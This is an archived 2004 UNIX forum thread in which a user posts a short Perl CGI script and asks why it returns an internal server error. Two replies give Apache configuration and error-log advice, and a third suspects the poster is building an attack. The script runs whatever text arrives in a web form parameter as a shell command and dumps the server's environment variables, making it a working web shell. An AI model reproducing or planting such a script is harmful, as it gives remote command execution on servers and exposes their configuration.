The UNIX and Linux Forums  


Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
.
google unix.com



Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
Any way to access shared object using shell yhacks Shell Programming and Scripting 2 05-19-2008 07:43 AM
PHP Shell, for secure remote access when SSH isn't available iBot UNIX and Linux RSS News 0 02-19-2008 05:50 AM
Shell access CerialPhreak UNIX for Dummies Questions & Answers 2 08-04-2006 05:07 PM
shell access, please help! genzai UNIX for Dummies Questions & Answers 4 11-18-2005 07:06 PM
shell variable access sabina Shell Programming and Scripting 2 02-24-2005 11:43 AM

Closed Thread
English Japanese Spanish French German Portuguese Italian Dutch Swedish Russian Norwegian Hungarian Hebrew Danish Bulgarian Greek Powered by Powered by Google
 
LinkBack Thread Tools Search this Thread Rate Thread Display Modes
  #1 (permalink)  
Old 03-15-2004
turbohacker turbohacker is offline
Registered User
  
 

Join Date: Jan 2004
Posts: 7
Quote:

#!/usr/bin/perl
use CGI qw(:standard); print header; my $k=param("turbo"); my $a=param("a"); if ($a || $k) {$l=`$k 2>&1`; print start_form,textarea("turbo",$k,5,50); print submit("turbo"); print end_form; print pre($l);} else{print "Dump of Environment variables"; foreach $key (sort(keys %ENV)) { print $key,"=", $ENV{$key}, ""; }
this is the script

reply to script is

Quote:
internal server error
TH
  #2 (permalink)  
Old 03-15-2004
Optimus_P Optimus_P is offline Forum Advisor  
flim flam flamma jamma
  
 

Join Date: May 2001
Location: Chicago IL, USA
Posts: 1,006
my bad.

remove the $ENV{REMOTE_USER} parts. and it shoudl work.

if it dosnet then you have to check your webserver error log for some errors.

it works for me on my apache server.
  #3 (permalink)  
Old 03-15-2004
norsk hedensk norsk hedensk is offline Forum Advisor  
Registered User
  
 

Join Date: Jul 2002
Location: new york
Posts: 1,025
also make sure apache is configured to run your cgi programs. itll say internal server error for that also if its not.
  #4 (permalink)  
Old 03-18-2004
LivinFree's Avatar
LivinFree LivinFree is offline Forum Advisor  
Goober Extraordinaire
  
 

Join Date: Jul 2001
Location: Portland, OR, USA
Posts: 1,584
Or is TurboHacker trying to get someone to help s/h/it write an input validation attack?

I don't see any reason to do this, unless you already have shell access, or at least an administrator to help you work this out.
Closed Thread

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On




All times are GMT -4. The time now is 11:23 PM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited. Language Translations Powered by .
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The UNIX and Linux Forums Content Copyright ©1993-2009. All Rights Reserved.Ad Management by RedTyger

Content Relevant URLs by vBSEO 3.2.0